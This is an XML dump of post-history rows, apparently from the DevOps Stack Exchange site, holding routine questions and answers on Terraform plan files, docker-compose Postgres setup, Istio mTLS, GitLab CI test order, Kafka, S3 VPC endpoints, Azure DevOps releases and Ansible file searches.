  <row Id="18338" PostHistoryTypeId="5" PostId="5732" RevisionGUID="84f02587-2998-4c15-b0d2-e2cc1726d6d4" CreationDate="2018-12-14T09:14:38.573" UserId="10846" Comment="Improved question" Text="I want to know that is there possibility to make DevOps generic, and not environment specific, so that can be used with any project with same cases OR we can cover common cases with one time code.&#xD;&#xA;Though language and environment changes but the logic remains same for most of the Test cases.&#xD;&#xA;&#xD;&#xA;I want to achieve Common DevOps environment that can be used for any project for common cases. Only special cases need to be handled separately.&#xD;&#xA;&#xD;&#xA;Have anyone achieved this?&#xD;&#xA;&#xD;&#xA;I know this is little broad question, but we this is DevOps related only." ContentLicense="CC BY-SA 4.0" />
  <row Id="18340" PostHistoryTypeId="2" PostId="5733" RevisionGUID="469c97a2-563a-4959-91a9-ba0ef9045a6f" CreationDate="2018-12-14T10:37:30.007" UserId="707" Text="If you export a Terraform plan, it is a binary file.&#xD;&#xA;&#xD;&#xA;Now, calls to a cloud management interface are HTTP calls following corresponding REST APIs. &#xD;&#xA;&#xD;&#xA;Does this mean this internal Terraform format somehow encodes these calls through some enumerations? &#xD;&#xA;&#xD;&#xA;Like, given in the plan it would be, &quot;B#3$1$2&quot; which then translate &quot;call the API function we have given number 3 passing values 1 and 2 as arguments&quot;? &#xD;&#xA;&#xD;&#xA;How does it work?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18341" PostHistoryTypeId="1" PostId="5733" RevisionGUID="469c97a2-563a-4959-91a9-ba0ef9045a6f" CreationDate="2018-12-14T10:37:30.007" UserId="707" Text="Understanding contents and workwise of a Terraform plan" ContentLicense="CC BY-SA 4.0" />
  <row Id="18342" PostHistoryTypeId="3" PostId="5733" RevisionGUID="469c97a2-563a-4959-91a9-ba0ef9045a6f" CreationDate="2018-12-14T10:37:30.007" UserId="707" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18343" PostHistoryTypeId="2" PostId="5734" RevisionGUID="984902f1-3395-497b-a8ab-0a4791e0424c" CreationDate="2018-12-14T11:09:00.190" UserId="13" Text="Terraform use [protobuf](https://github.com/golang/protobuf) to store the plans according to [its code](https://github.com/hashicorp/terraform/blob/master/plans/planfile/tfplan.go#L287)&#xD;&#xA;&#xD;&#xA;&gt; // writeTfplan serializes the given plan into the protobuf-based format used  &#xD;&#xA;&gt; // for the &quot;tfplan&quot; portion of a plan file.&#xD;&#xA;&#xD;&#xA;You can find [here](https://github.com/hashicorp/terraform/blob/master/plans/internal/planproto/planfile.pb.go) the code generating the plan file.&#xD;&#xA;&#xD;&#xA;So in brief that's a binary file with a serialized version of what to do in a portable format (protocol buffers) for which you find more information [here](https://developers.google.com/protocol-buffers)" ContentLicense="CC BY-SA 4.0" />
  <row Id="18344" PostHistoryTypeId="2" PostId="5735" RevisionGUID="22eb6302-b25e-48ae-9b02-db9e75a2e279" CreationDate="2018-12-14T11:17:11.327" UserId="7506" Text="I have a docker-compose script which starts a Postgres container and an app container like so&#xD;&#xA;&#xD;&#xA;    db:&#xD;&#xA;      image: postgres:10.6&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;        - 5432:5432&#xD;&#xA;    app:&#xD;&#xA;      image: test_app:latest&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - db&#xD;&#xA;&#xD;&#xA;This all works fine and 'app' can talk to 'db'. However, the postgres server is in a basically unusable state as it has no configuration with regards to having databases, users, etc. setup (apart from the defaults). It appears that the recommended way of fixing this is to create your own 'db image' pulling from postgres and running some shell script to take care of business (and then your composition uses this image), but this seems very hacky and convoluted to me. &#xD;&#xA;&#xD;&#xA;Does anyone have a better way of setting up a postgres server with a known configuration inside a docker-compose based system?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18345" PostHistoryTypeId="1" PostId="5735" RevisionGUID="22eb6302-b25e-48ae-9b02-db9e75a2e279" CreationDate="2018-12-14T11:17:11.327" UserId="7506" Text="Best practice for Postgres setup with docker-compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="18346" PostHistoryTypeId="3" PostId="5735" RevisionGUID="22eb6302-b25e-48ae-9b02-db9e75a2e279" CreationDate="2018-12-14T11:17:11.327" UserId="7506" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18347" PostHistoryTypeId="5" PostId="5732" RevisionGUID="1d90195f-deb5-422c-be56-d533269a0b21" CreationDate="2018-12-14T11:20:47.097" UserId="10846" Comment="added 62 characters in body" Text="I want to know that is there possibility to make DevOps generic, and not environment specific, so that can be used with any project with same cases OR we can cover common cases with one time code.&#xD;&#xA;Though language and environment changes but the logic remains same for most of the Test cases based on..&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. Run environment &#xD;&#xA; 2. Development Culture, etc.&#xD;&#xA;&#xD;&#xA;I want to achieve Common DevOps environment that can be used for any project for common cases. Only special cases need to be handled separately.&#xD;&#xA;&#xD;&#xA;Have anyone achieved this?&#xD;&#xA;&#xD;&#xA;I know this is little broad question, but we this is DevOps related only." ContentLicense="CC BY-SA 4.0" />
  <row Id="18348" PostHistoryTypeId="2" PostId="5736" RevisionGUID="177a80e5-a1dd-4d64-906e-b877fe5f9340" CreationDate="2018-12-14T11:51:50.490" UserId="11366" Text="My application consists of four microservices. (hr, salary, stock and employee). Users of the application access the &quot;hr&quot; service using http. To fulfill this request the hr microservice communicates with other 3 and sends back a response to the user.&#xD;&#xA;&#xD;&#xA;I had deployed this application (4 micro-services) in a kubernetes cluster.&#xD;&#xA;&#xD;&#xA;Then I wanted to learn [Istio][1] so I set up the same application on a mutual TLS enabled environment and set up http ingress gateway for external access. Now all my services have a sidecar which mandates mTLS communication and external user accesses this using an ingress gateway.&#xD;&#xA;&#xD;&#xA;Can you please help me understand what sort of security advantages I introduced by moving to the Istio based deployment? What are the attack points did I just closed? Please point them as scenarios since I'm new to the security landscape.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: https://istio.io" ContentLicense="CC BY-SA 4.0" />
  <row Id="18349" PostHistoryTypeId="1" PostId="5736" RevisionGUID="177a80e5-a1dd-4d64-906e-b877fe5f9340" CreationDate="2018-12-14T11:51:50.490" UserId="11366" Text="What are the security loopholes closed by introducing Istio" ContentLicense="CC BY-SA 4.0" />
  <row Id="18350" PostHistoryTypeId="3" PostId="5736" RevisionGUID="177a80e5-a1dd-4d64-906e-b877fe5f9340" CreationDate="2018-12-14T11:51:50.490" UserId="11366" Text="&lt;kubernetes&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18351" PostHistoryTypeId="2" PostId="5737" RevisionGUID="9ee3d9ea-f8ac-4940-b35b-23c515c5c885" CreationDate="2018-12-14T13:49:17.150" UserId="11278" Text="I have about half a dozen of integration tests (handled with Robot Framework) to run in a GitLab CI pipeline. Once upon a time, we did not care about the execution order of these tests. The corresponding code (extracted from the `.gitlab-ci.yml` file) then looked like the following:&#xD;&#xA;&#xD;&#xA;    test:&#xD;&#xA;      stage: test&#xD;&#xA;      before_script:&#xD;&#xA;        - pip install RobotNapalm&#xD;&#xA;      script:&#xD;&#xA;        - robot -b debug.log -d log/ ./*.robot&#xD;&#xA;&#xD;&#xA;But now I need to run those tests in a specific order. What GitLab's doc says about the `script` keyword is that it can handle a handful of commands at once, and then it would look like the following:&#xD;&#xA;&#xD;&#xA;    script:&#xD;&#xA;      - robot -b debug.log -d log/ ./some-test.robot&#xD;&#xA;      - robot -b debug.log -d log/ ./here-is-another-one.robot&#xD;&#xA;      - robot -b debug.log -d log/ ./yet-another-test.robot&#xD;&#xA;&#xD;&#xA;The doc yet does not say whether those `robot` commands would be handled simultaneously or sequentially. Knowing that I can't influence the tests execution order by giving them alphabetically sorted names, how could I ensure that those tests are executed in a particular order?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18352" PostHistoryTypeId="1" PostId="5737" RevisionGUID="9ee3d9ea-f8ac-4940-b35b-23c515c5c885" CreationDate="2018-12-14T13:49:17.150" UserId="11278" Text="How to ensure testing execution order with GitLab CI?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18353" PostHistoryTypeId="3" PostId="5737" RevisionGUID="9ee3d9ea-f8ac-4940-b35b-23c515c5c885" CreationDate="2018-12-14T13:49:17.150" UserId="11278" Text="&lt;gitlab&gt;&lt;testing&gt;&lt;yaml&gt;&lt;integration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18365" PostHistoryTypeId="50" PostId="5183" RevisionGUID="44c33177-8c66-45c4-a62f-b0177d4847b0" CreationDate="2018-12-14T17:02:35.477" UserId="-1" />
  <row Id="18366" PostHistoryTypeId="2" PostId="5740" RevisionGUID="b10aa372-70b8-4d18-a0b7-4d5e20bcdf18" CreationDate="2018-12-14T17:25:28.527" UserId="11309" Text="The answer to this question about what is DevOps?&#xD;&#xA;&#xD;&#xA;DevOps both involves Strategy and Tactics.&#xD;&#xA;&#xD;&#xA;Strategy embraces building a culture centered around collaboration in your software development, technical operations and any other group or organization that has a stake in the deliverables whether it's software or service.&#xD;&#xA;&#xD;&#xA;Examples of DevOps strategy may be breaking down silos, continuous delivery, continuous integration, etc.&#xD;&#xA;&#xD;&#xA;Tactics is the actual implementation of the strategies. &#xD;&#xA;&#xD;&#xA;This is the level where the use of software tools, technology and management methods are found as well as the actual &quot;how to&quot;.  For instance, to foster &quot;breaking down of silos&quot; as a tactic, you build smaller &quot;agile&quot; teams of 5-7 &quot;stakeholders&quot; let's say programmers, systems admins, QA engineer, and a project manager.  To communicate among the team members, you use Slack.  Programmers and sysadmins &quot;cross train&quot; on each others tasks where it makes sense.  Sysadmins may assist in developing test harnesses for the programmers, use Selenium and python for testing.  Programmers learn how to use Ansible and assist the Sysadmins on what they need in the development and production environment.&#xD;&#xA;&#xD;&#xA;Where you sound like your at is looking at all these cool tactics and tools that DevOps uses such as Docker, Ansible, Chef but your missing the understanding of Strategy...building of the culture, the &quot;why&quot; you want to use these tactics and tools.  That's ok, we're here to learn.&#xD;&#xA;&#xD;&#xA;There is no &quot;right&quot; answer on what exactly DevOps is, but in all the talks and examples of DevOps shops and organization it boils down to building a collaborating organization and focusing on a purpose.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18369" PostHistoryTypeId="5" PostId="5740" RevisionGUID="020fe16f-ce3f-423c-9128-7d1502cefa6f" CreationDate="2018-12-14T17:34:56.143" UserId="11309" Comment="added 76 characters in body" Text="The answer to this question about what is DevOps?&#xD;&#xA;&#xD;&#xA;DevOps both involves Strategy and Tactics.&#xD;&#xA;&#xD;&#xA;Strategy embraces building a culture centered around collaboration in your software development, technical operations and any other group or organization that has a stake in the deliverables whether it's software or service.&#xD;&#xA;&#xD;&#xA;Examples of DevOps strategy may be breaking down silos, continuous delivery, continuous integration, etc.&#xD;&#xA;&#xD;&#xA;Tactics are the actual implementation of the strategies. &#xD;&#xA;&#xD;&#xA;This is the level where the use of software tools, technology and management methods are found as well as the actual &quot;how to&quot;.  For instance, to foster &quot;breaking down of silos&quot; as a tactic, you build smaller &quot;agile&quot; teams of 5-7 &quot;stakeholders&quot; let's say programmers, systems admins, QA engineer, and a project manager.  To communicate among the team members, you use Slack.  Programmers and sysadmins &quot;cross train&quot; on each others tasks where it makes sense.  Sysadmins may assist in developing test harnesses for the programmers, use Selenium and python for testing.  Programmers learn how to use Ansible and assist the Sysadmins on what they need in the development and production environment.&#xD;&#xA;&#xD;&#xA;Where you sound like your at is looking at all these cool tactics and tools that DevOps uses such as Docker, Ansible, Chef but your missing the understanding of Strategy...building of the culture, the &quot;why&quot; you want to use these tactics and tools.  That's ok, we're here to learn.&#xD;&#xA;&#xD;&#xA;There is no &quot;right&quot; answer on what exactly DevOps is or how you implement it, but in all the talks and examples of DevOps shops and organization it boils down to the strategy of building a collaborating organization and focusing on a purpose then put it into action as tactics.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18378" PostHistoryTypeId="50" PostId="4748" RevisionGUID="7e8f93ce-1a8d-4a89-a361-d2f3e191ded4" CreationDate="2018-12-14T19:03:10.653" UserId="-1" />
  <row Id="18380" PostHistoryTypeId="50" PostId="5115" RevisionGUID="b6d3a68a-8976-4a3f-9684-227f557153af" CreationDate="2018-12-14T21:03:50.790" UserId="-1" />
  <row Id="18381" PostHistoryTypeId="2" PostId="5743" RevisionGUID="7565185b-c77a-4736-9590-38ea988f2348" CreationDate="2018-12-14T21:40:07.040" UserId="11380" Text="I want to use Kafka as a message broker on the server side of a distributed application.  We have clients that can be located around the world, and that send frequent messages to the server.  Right now those messages are just JSON over ZMQ.  I am considering changing the connection between client and server to Kafka (since I'm going to use Kafka in the server side anyway) but have the following confusion:&#xD;&#xA;&#xD;&#xA; - Is Kafka even meant to be used this way (distributed clients connecting to the server with it)?  I don't see that in the docs.&#xD;&#xA;&#xD;&#xA; - If I don't use Kafka, I'll have a single choke point at my server/DC entry.  What's the efficient alternative to get information from the software gateway (which is now ZMQ) into kafka, without having that software gateway be a bottleneck?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18382" PostHistoryTypeId="1" PostId="5743" RevisionGUID="7565185b-c77a-4736-9590-38ea988f2348" CreationDate="2018-12-14T21:40:07.040" UserId="11380" Text="Kafka from client to server vs. &quot;router&quot; in the DC" ContentLicense="CC BY-SA 4.0" />
  <row Id="18383" PostHistoryTypeId="3" PostId="5743" RevisionGUID="7565185b-c77a-4736-9590-38ea988f2348" CreationDate="2018-12-14T21:40:07.040" UserId="11380" Text="&lt;kafka&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18384" PostHistoryTypeId="2" PostId="5744" RevisionGUID="6e9f4925-5ac4-4fe8-aaef-1abd5d17f9a3" CreationDate="2018-12-14T22:02:47.817" UserId="11381" Text="I am trying to access S3 files from non-EC2 machine. non-EC2 machine is connected to VPC over VPN, also can reach to other hosts in VPC.&#xD;&#xA;&#xD;&#xA; - Created VPC Endpoint for S3&#xD;&#xA; - Main routing table of VPC has route for S3 pointing to VPCe (`pl-68a54001 (com.amazonaws.us-west-2.s3, 54.231.160.0/19, 52.218.128.0/17, 52.92.32.0/22)`)&#xD;&#xA; - S3 bucket has **Static website hosting** enabled&#xD;&#xA; - S3 bucket has policy for accessing files from VPCe (https://docs.aws.amazon.com/AmazonS3/latest/dev/example-bucket-policies-vpc-endpoint.html)&#xD;&#xA; &#xD;&#xA;I am able to download (`wget`) file from S3 to EC2 in the VPC. When I try to do same (`wget`) from non-EC2 (which is in Data Centre), I get timeout.&#xD;&#xA;&#xD;&#xA;Anyone know what I need to do to get this working ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18385" PostHistoryTypeId="1" PostId="5744" RevisionGUID="6e9f4925-5ac4-4fe8-aaef-1abd5d17f9a3" CreationDate="2018-12-14T22:02:47.817" UserId="11381" Text="Access S3 files from Datacenter over VPN to VPC" ContentLicense="CC BY-SA 4.0" />
  <row Id="18386" PostHistoryTypeId="3" PostId="5744" RevisionGUID="6e9f4925-5ac4-4fe8-aaef-1abd5d17f9a3" CreationDate="2018-12-14T22:02:47.817" UserId="11381" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18388" PostHistoryTypeId="2" PostId="5745" RevisionGUID="a24603c9-9e73-4536-a5e0-c9af10711881" CreationDate="2018-12-15T00:26:56.977" UserId="405" Text="You need to use...&#xD;&#xA;&#xD;&#xA;* the Internet, from your data center, to access S3 directly (not via the endpoint) or&#xD;&#xA;* an AWS DirectConnect connection to access S3 directly (not via the endpoint) or&#xD;&#xA;* an HTTP proxy server inside this VPC to access S3 (via the endpoint)&#xD;&#xA;&#xD;&#xA;...because S3 endpoints are not designed to be used across VPN connections.  They are only accessible from instances in the VPC where they exist.&#xD;&#xA;&#xD;&#xA;&gt;Endpoint connections cannot be extended out of a VPC. Resources on the other side of a VPN connection, VPC peering connection, AWS Direct Connect connection, or ClassicLink connection in your VPC cannot use the endpoint to communicate with resources in the endpoint service.&#xD;&#xA;&#xD;&#xA;&gt;https://docs.aws.amazon.com/vpc/latest/userguide/vpce-gateway.html#vpc-endpoints-limitations" ContentLicense="CC BY-SA 4.0" />
  <row Id="18390" PostHistoryTypeId="50" PostId="5430" RevisionGUID="7ff61262-06b8-46af-a973-c3626f573a5a" CreationDate="2018-12-15T06:03:25.687" UserId="-1" />
  <row Id="18391" PostHistoryTypeId="50" PostId="3552" RevisionGUID="d8329879-3293-446c-99b1-3f169a492227" CreationDate="2018-12-15T08:02:10.417" UserId="-1" />
  <row Id="18392" PostHistoryTypeId="2" PostId="5746" RevisionGUID="8a159dff-d669-4463-a8ec-54f9f5713993" CreationDate="2018-12-15T08:27:18.307" UserId="11385" Text="Azure has a robust CI/CD pipeline which is much easier to use than CodeDeploy on AWS. It is called Build/Release pipelines under Azure DevOps. It allows you to configure multiple environments with build and release (deployment) stages for each. It also allows for easy configuration and interoperability with Azure Webapps/VMs and other resources available on Azure. Having recently switched from Azure to AWS, I definitely miss the ease of configuration and the intuitive UI on Azure DevOps.&#xD;&#xA;&#xD;&#xA;Azure DevOps integrates a version control repository system, a agile style work items/boards which can also be used to configure your backlogs and iteration items. There is even a dashboard to integrate and monitor your work items and deployments across the team. So it is definitely much bigger than just a devops tool or CodeBuild." ContentLicense="CC BY-SA 4.0" />
  <row Id="18393" PostHistoryTypeId="5" PostId="5689" RevisionGUID="488c8561-9e7c-4b59-aa49-d60bf9bfba49" CreationDate="2018-12-15T09:03:20.267" UserId="6375" Comment="Format content" Text="I am wondering if Azure DevOps has the ability to do conditional flow as part of a release definition.&#xD;&#xA;&#xD;&#xA;***My use case:*** I have a Power Shell script that deploys a SQL Server DACPAC to create or update a database. Sometimes this deployment will fail because a change was made that could potentially cause data loss. Instead of absolutely failing the deployment, I would like to trigger a manual intervention for a DBA to review the changes. If they resume, I would like to attempt the deployment again, but this time with a flag that will ignore potential data loss issues. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Finally, if that second db deployment attempt is successful, I would like the flow to continue back to the rest of the deployment tasks.&#xD;&#xA;&#xD;&#xA;***Here is a general flow diagram:***&#xD;&#xA;&#xD;&#xA;[![Azure DevOps Manual Intervention flow diagram][1]][1]&#xD;&#xA;&#xD;&#xA;***Other requirements:***&#xD;&#xA;&#xD;&#xA; - If the db deployment fails, but the manual intervention resumes and succeeds, I want the entire deployment to be marked as succeeded.&#xD;&#xA; - I want the flow after resuming an intervention to merge back into existing tasks that would be run on db deployment success. Corollary: I do not want to maintain dual flows with identical tasks.&#xD;&#xA;&#xD;&#xA;I am using the Designer (Web UI) and not YAML for all my current builds/releases, but I am also interested if YAML has a solution for this.&#xD;&#xA;&#xD;&#xA;[Azure DevOps has a section for Conditions][2], but I did not find that particularly helpful. The number of conditions seems limited. [It also looks like variables can be set on jobs][3], but this appears to be only available with YAML.&#xD;&#xA;&#xD;&#xA;Is there a way to set up the conditionals at the end of phases/jobs or tasks to achieve this branching behavior?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/mlXAx.png&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/conditions?view=vsts&amp;tabs=yaml&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/variables?view=vsts&amp;tabs=yaml%2Cbatch#set-an-output-multi-job-variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="18394" PostHistoryTypeId="24" PostId="5689" RevisionGUID="488c8561-9e7c-4b59-aa49-d60bf9bfba49" CreationDate="2018-12-15T09:03:20.267" Comment="Proposed by 6375 approved by 47, -1 edit id of 887" ContentLicense="CC BY-SA 4.0" />
  <row Id="18395" PostHistoryTypeId="5" PostId="5689" RevisionGUID="41ad7f49-129b-4f79-84ec-6d9c9f6414d9" CreationDate="2018-12-15T09:03:20.267" UserId="11069" Comment="Format content" Text="I am wondering if Azure DevOps has the ability to do conditional flow as part of a release definition.&#xD;&#xA;&#xD;&#xA;***My use case:*** I have a PowerShell script that deploys a SQL Server DACPAC to create or update a database. Sometimes this deployment will fail because a change was made that could potentially cause data loss. Instead of absolutely failing the deployment, I would like to trigger a manual intervention for a DBA to review the changes. If they resume, I would like to attempt the deployment again, but this time with a flag that will ignore potential data loss issues. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Finally, if that second db deployment attempt is successful, I would like the flow to continue back to the rest of the deployment tasks.&#xD;&#xA;&#xD;&#xA;***Here is a general flow diagram:***&#xD;&#xA;&#xD;&#xA;[![Azure DevOps Manual Intervention flow diagram][1]][1]&#xD;&#xA;&#xD;&#xA;***Other requirements:***&#xD;&#xA;&#xD;&#xA; - If the db deployment fails, but the manual intervention resumes and succeeds, I want the entire deployment to be marked as succeeded.&#xD;&#xA; - I want the flow after resuming an intervention to merge back into existing tasks that would be run on db deployment success. Corollary: I do not want to maintain dual flows with identical tasks.&#xD;&#xA;&#xD;&#xA;I am using the Designer (Web UI) and not YAML for all my current builds/releases, but I am also interested if YAML has a solution for this.&#xD;&#xA;&#xD;&#xA;[Azure DevOps has a section for Conditions][2], but I did not find that particularly helpful. The number of conditions seems limited. [It also looks like variables can be set on jobs][3], but this appears to be only available with YAML.&#xD;&#xA;&#xD;&#xA;Is there a way to set up the conditionals at the end of phases/jobs or tasks to achieve this branching behavior?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/mlXAx.png&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/conditions?view=vsts&amp;tabs=yaml&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/variables?view=vsts&amp;tabs=yaml%2Cbatch#set-an-output-multi-job-variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="18396" PostHistoryTypeId="2" PostId="5747" RevisionGUID="97eceda5-2d30-41cd-8dc7-f5e1e6cc7ea9" CreationDate="2018-12-15T12:23:18.637" UserId="4175" Text="Kafka doesn't care how you use it; it does nothing except transporting your arbitrary messages for you. Yes, you can use it that way, and actually I do not see anything specific enough about it to make it necessary to be mentioned in the docs.&#xD;&#xA;&#xD;&#xA;Obviously you need to take a  little care regarding security (SSL or SASL...) but aside from that, there should be no particular problem." ContentLicense="CC BY-SA 4.0" />
  <row Id="18397" PostHistoryTypeId="2" PostId="5748" RevisionGUID="3ec30ec4-e0bc-4bc1-8076-254545e1b6e7" CreationDate="2018-12-15T19:05:32.083" UserId="162" Text="I would like to do something like this, but all Kubernetes quickstart demos are just for deploying a simple applications and not multiple.&#xD;&#xA;&#xD;&#xA;How would I create a yaml file that can deploy multiple applications like this with Minikube?&#xD;&#xA;&#xD;&#xA;- Deploy tomcat to minikube&#xD;&#xA;- Deploy sample.war to tomcat (https://tomcat.apache.org/tomcat-8.0-doc/appdev/sample/ )&#xD;&#xA;- Bind tomcat service to hostport 8090&#xD;&#xA;- Deploy nginx/apache to minikube&#xD;&#xA;- Bind nginx/apache to hostport 8080" ContentLicense="CC BY-SA 4.0" />
  <row Id="18398" PostHistoryTypeId="1" PostId="5748" RevisionGUID="3ec30ec4-e0bc-4bc1-8076-254545e1b6e7" CreationDate="2018-12-15T19:05:32.083" UserId="162" Text="How do I deploy an applications to Kubernetes with Minikube?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18399" PostHistoryTypeId="3" PostId="5748" RevisionGUID="3ec30ec4-e0bc-4bc1-8076-254545e1b6e7" CreationDate="2018-12-15T19:05:32.083" UserId="162" Text="&lt;kubernetes&gt;&lt;minikube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18403" PostHistoryTypeId="2" PostId="5749" RevisionGUID="3666a35e-7ea9-4e1a-aa6d-c911cbfbb00b" CreationDate="2018-12-15T20:04:44.083" UserId="47" Text="From the Apache Kafka [Introduction][1] page:&#xD;&#xA;&#xD;&#xA;&gt; Apache Kafka® is a distributed streaming platform. What exactly does&#xD;&#xA;&gt; that mean?&#xD;&#xA;&gt; &#xD;&#xA;&gt; A streaming platform has three key capabilities:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Publish and subscribe to streams of records, similar to a message queue or enterprise messaging system.&#xD;&#xA;&gt; - Store streams of records in a fault-tolerant durable way.&#xD;&#xA;&gt; - Process streams of records as they occur.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Kafka is generally used for two broad classes of applications:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Building real-time streaming data pipelines that reliably get data between systems or applications&#xD;&#xA;&gt; - Building real-time streaming applications that transform or react to the streams of data&#xD;&#xA;&gt; &#xD;&#xA;&gt; First a few concepts:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Kafka is run as a cluster on one or more servers that can span multiple datacenters.&#xD;&#xA;&gt; - The Kafka cluster stores streams of records in categories called topics.&#xD;&#xA;&gt; - Each record consists of a key, a value, and a timestamp.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Kafka has four core APIs:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - The [Producer API][2] allows an application to publish a stream of records to one or more Kafka topics.&#xD;&#xA;&gt; - The [Consumer API][3] allows an application to subscribe to one or more topics and process the stream of records produced to them.&#xD;&#xA;&gt; - The [Streams API][4] allows an application to act as a stream processor, consuming an input stream from one or more topics and&#xD;&#xA;&gt; producing an output stream to one or more output topics, effectively&#xD;&#xA;&gt; transforming the input streams to output streams.&#xD;&#xA;&gt; - The [Connector API][5] allows building and running reusable producers or consumers that connect Kafka topics to existing&#xD;&#xA;&gt; applications or data systems. For example, a connector to a relational&#xD;&#xA;&gt; database might capture every change to a table.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kafka.apache.org/intro&#xD;&#xA;  [2]: https://kafka.apache.org/documentation.html#producerapi&#xD;&#xA;  [3]: https://kafka.apache.org/documentation.html#consumerapi&#xD;&#xA;  [4]: https://kafka.apache.org/documentation/streams&#xD;&#xA;  [5]: https://kafka.apache.org/documentation.html#connect" ContentLicense="CC BY-SA 4.0" />
  <row Id="18404" PostHistoryTypeId="1" PostId="5749" RevisionGUID="3666a35e-7ea9-4e1a-aa6d-c911cbfbb00b" CreationDate="2018-12-15T20:04:44.083" UserId="47" ContentLicense="CC BY-SA 4.0" />
  <row Id="18405" PostHistoryTypeId="2" PostId="5750" RevisionGUID="f4ab5b84-497b-46fe-810f-eb87ffbb384a" CreationDate="2018-12-15T20:04:44.083" UserId="47" Text="Use this tag for questions about Apache Kafka - a distributed streaming (aka publish and subscribe or pub/sub) platform." ContentLicense="CC BY-SA 4.0" />
  <row Id="18406" PostHistoryTypeId="1" PostId="5750" RevisionGUID="f4ab5b84-497b-46fe-810f-eb87ffbb384a" CreationDate="2018-12-15T20:04:44.083" UserId="47" ContentLicense="CC BY-SA 4.0" />
  <row Id="18408" PostHistoryTypeId="50" PostId="5107" RevisionGUID="88b91162-bde7-4e0c-851c-e95cadad98a6" CreationDate="2018-12-15T23:02:15.383" UserId="-1" />
  <row Id="18413" PostHistoryTypeId="50" PostId="5444" RevisionGUID="52fd34f2-23c0-4046-8293-1ad53e6ea6ff" CreationDate="2018-12-16T01:01:25.323" UserId="-1" />
  <row Id="18418" PostHistoryTypeId="2" PostId="5753" RevisionGUID="0c9fac8b-3ba0-4ed4-9a60-be9856a7b180" CreationDate="2018-12-16T06:30:45.370" UserId="10912" Text="Answers to some parts of your question are:&#xD;&#xA;&#xD;&#xA;- &quot;I want to find a softlink (to another file) in the $PATH environment variable on Linux managed nodes&quot;&#xD;&#xA;&#xD;&#xA;  Use &quot;shell&quot; module instead of lookup. &#xD;&#xA;&gt; [Lookup](https://docs.ansible.com/ansible/latest/user_guide/playbooks_lookups.html#lookups-and-variables) occur on the local computer, not on the remote computer.&#xD;&#xA;- &quot;I want to extract the path of the file name for the file that is found. How do I do this?&quot;&#xD;&#xA;&#xD;&#xA;   Use &quot;files_found.files&quot; to see the complete path. Checkout the return values section in [find](https://docs.ansible.com/ansible/latest/modules/find_module.html#return-values) module documentation." ContentLicense="CC BY-SA 4.0" />
  <row Id="18419" PostHistoryTypeId="5" PostId="5753" RevisionGUID="8574467e-e627-48fe-bbbd-e1b4af225155" CreationDate="2018-12-16T06:46:32.877" UserId="10912" Comment="added 438 characters in body" Text="Answers to some parts of your question are:&#xD;&#xA;&#xD;&#xA;- &quot;I want to find a softlink (to another file) in the $PATH environment variable on Linux managed nodes&quot;&#xD;&#xA;&#xD;&#xA;  Use &quot;shell&quot; module instead of lookup. &#xD;&#xA;&gt; [Lookup](https://docs.ansible.com/ansible/latest/user_guide/playbooks_lookups.html#lookups-and-variables) occur on the local computer, not on the remote computer.&#xD;&#xA;- &quot;I want to extract the path of the file name for the file that is found. How do I do this?&quot;&#xD;&#xA;&#xD;&#xA;   Use &quot;files_found.files&quot; to see the complete path. Checkout the return values section in [find](https://docs.ansible.com/ansible/latest/modules/find_module.html#return-values) module documentation.&#xD;&#xA;&#xD;&#xA;- As far as i understood, you want to do something like this&#xD;&#xA;&#xD;&#xA;Try out the following:&#xD;&#xA;&#xD;&#xA;    - name: finding files matching &quot;goodfile&quot; pattern&#xD;&#xA;      find:&#xD;&#xA;         paths: &quot;{{ some_path }}&quot;&#xD;&#xA;         patterns: &quot;goodfile&quot;&#xD;&#xA;         file_type: link&#xD;&#xA;      register: files_found&#xD;&#xA;&#xD;&#xA;    - name : get the complete path&#xD;&#xA;      set_fact:&#xD;&#xA;        files_found_path: &quot;{{ files_found.files }}&quot;&#xD;&#xA;&#xD;&#xA;     - debug:&#xD;&#xA;         var: files_found_path" ContentLicense="CC BY-SA 4.0" />
